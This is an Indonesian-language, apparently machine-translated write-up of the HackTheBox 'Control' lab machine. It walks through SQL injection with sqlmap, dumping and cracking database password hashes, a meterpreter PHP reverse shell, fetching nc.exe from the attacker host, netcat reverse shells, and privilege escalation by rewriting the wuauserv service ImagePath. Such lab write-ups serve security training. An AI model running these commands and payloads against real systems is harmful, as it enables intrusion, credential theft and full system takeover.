Retas Kotak. Kontrol Passage. Injeksi SQL dan LPE melalui hak layanan

gambar

Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox .

Pada artikel ini, kami menembus sistem melalui injeksi SQL, menyelidiki sejarah baris perintah dan meningkatkan hak istimewa kami berkat hak atas layanan.

Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kantor atau dari host di mana data yang penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
, , Telegram . , , .

. , - , .

Recon


Mesin ini memiliki alamat IP 10.10.10.167, yang saya tambahkan ke / etc / hosts.

10.10.10.167    control.htb

Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167   --rate=1000

gambar

Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.
nmap -A control.htb -p80,135,3306,49667,49666

gambar

Tuan rumah menjalankan server web. Mari kita lihat apa yang ada di sana.

gambar

Dan kami melihat bahwa ada tautan ke panel admin. Tetapi kami diberitahu bahwa tidak ada tajuk dan kami harus menghubungi melalui proxy.

gambar

Pada saat yang sama, dalam kode sumber halaman awal kami menemukan pesan:

gambar

Membandingkan apa yang Anda butuhkan untuk menggunakan proxy dan alamat yang ditemukan, kami menganggap bahwa Anda harus menjalaninya. Proxy ditampilkan dalam protokol HTTP di header x-forwarded-for. Mari kita buka.

gambar

Dan kami berhasil masuk ke halaman admin. Mari kita pergi melalui browser.

gambar

Tetapi ketika Anda mencoba melakukan sesuatu, mereka akan melemparkan kami pada halaman dengan pesan proxy. Ini karena kami tidak mengganti header yang ditemukan. Agar tidak melakukan ini setiap kali di Burp Suite di Proxy -> Options tab kita menemukan fungsi "Cocokkan dan Ganti".

gambar

Dan tambahkan entri baru yang secara otomatis akan menambahkan header ini ke semua permintaan keluar.

gambar

Dan menguji bidang pencarian kami menemukan injeksi SQL.

gambar

Untuk operasi kami menggunakan sqlmap. Mari kita simpan permintaan ini ke file (Salin ke file) dan jalankan sqlmap, dengan meneruskan file ini sebagai parameter.
sqlmap -r headers.req

gambar

Entry Point
Mari kita lihat database apa yang tersedia.
sqlmap -r headers.req --dbs

gambar

Mari cari tahu kredensial apa yang tersedia. Mari kita lihat semua tabel di database mysql.
sqlmap -r headers.req -D mysql --tables

gambar

Jadi kami tertarik dengan tabel pengguna. Mari kita cari nama semua kolom.
sqlmap -r headers.req -D mysql -T user --columns

gambar

Dari semua kolom, yang paling menarik adalah Pengguna dan Kata Sandi. Kami belajar apa yang ada di dalamnya.
sqlmap -r headers.req -D mysql -T user -C User,Password --dump

gambar

Basis data berisi beberapa pengguna. Sqlmap menawarkan untuk memecahkan hash. Kami memilih serangan kamus, menunjukkan bahwa kami ingin menggunakan kamus kami dan menulis path ke rockyou.

gambar

Setelah beberapa detik, kami akan diberikan tabel dengan nama pengguna dan hash kata sandi mereka. Jika sqlmap dapat memecahkan kata sandi, itu akan menunjukkannya di sebelah hash dalam tanda kurung. Seperti yang Anda lihat, kami memiliki kredensial hector pengguna.

gambar

Saya tidak bisa mendapatkan shell menggunakan sqlmap, tetapi menulis file keluar. Ayo posting web berjalan. Pertama, kami menghasilkan beban meterpreter dalam format PHP.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php


Sekarang tulis menggunakan sqlmap ke direktori server web.
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php

gambar

File berhasil ditulis. Jalankan pendengar.

gambar

Dan buka file Anda di server web.
curl http://control.htb/r.php


Di jendela Metasploit, kami mengamati koneksi yang berhasil.

gambar

Pergi ke sesi ini.

gambar

Tapi di sini masalahnya, kita tidak bisa menjalankan perintah melalui shell. Mari kita coba untuk memotong kunci dengan membuat proses PowerShell dalam mode interaktif (-i) tersembunyi dari tampilan (-H) dengan meneruskan perintah kita sebagai parameter (-a). Mari cari tahu di bawah pengguna mana kami bekerja.

gambar

PENGGUNA


Kami memiliki kredensial Hector, kami akan mencari tahu apakah ada pengguna seperti itu dalam sistem.

gambar

Ada pengguna seperti itu! Tapi pertama-tama, cari tahu nama mobilnya.

gambar

Kami memiliki nama pengguna, kata sandi, domain dan nama mesin. Sekarang mari kita periksa apakah kredensial yang kami terima sesuai. Untuk melakukan ini, jalankan "whoami" atas nama Hector.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H

gambar

Baik. Ayo ambil cangkangnya. Jalankan server web pada host lokal.
python3 -m http.server 80


Dan unggah ke host Netcat jarak jauh.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H


Sekarang buka port 5432. nc -lvp 5432 dan lakukan koneksi balik dari host jarak jauh.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H


Jadi kami mengambil pengguna.

gambar

AKAR


Lebih jauh, ketika kami mencoba mengunggah salah satu cara mengumpulkan informasi dari host ke host (seperti BloodHound , PowerUp , JAWS , WinPEAS ), kami melihat bahwa bek menghapusnya. Tetapi WinPEAS memiliki versi kelelawar yang tidak dapat dihapus. Kami mengunggahnya ke host dan menjalankannya. Selanjutnya hanya perlu meninjau informasi yang dikumpulkan dengan hati-hati. Dan kami menemukan file yang menarik ConsoleHost_history.txt.

gambar

Lihat apa isinya.

gambar

Tim-tim ini adalah satu-satunya yang kami miliki. Cmdlet Get-Acl mengambil objek yang mewakili deskriptor keamanan untuk file atau sumber daya. Deskriptor keamanan berisi daftar kontrol akses sumber daya (ACL). ACL berisi izin yang diperlukan oleh pengguna dan grup pengguna untuk mengakses sumber daya. Jadi, saya memutuskan bahwa jalur solusi terletak pada layanan dan akses ke sana. Mari kita serahkan semua layanan dan izin Hector kepada mereka.

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"


Melihat melalui output, kami melihat bahwa Hector memiliki hak penuh untuk layanan pembaruan Windows - wuauserv.

gambar

Layanan dalam sistem operasi Windows dijalankan dengan hak istimewa Sistem. Saat mendaftarkan layanan di sistem, jalur ke file yang dapat dieksekusi layanan dilindungi dalam atribut ImagePath. Mari kita ubah nilai atribut ini dan muatkan shell.
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"


Sekarang mulai layanan pembaruan.
start-service wuauserv


Dan kami mendapatkan shell dengan hak istimewa maksimal.

gambar

Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

All Articles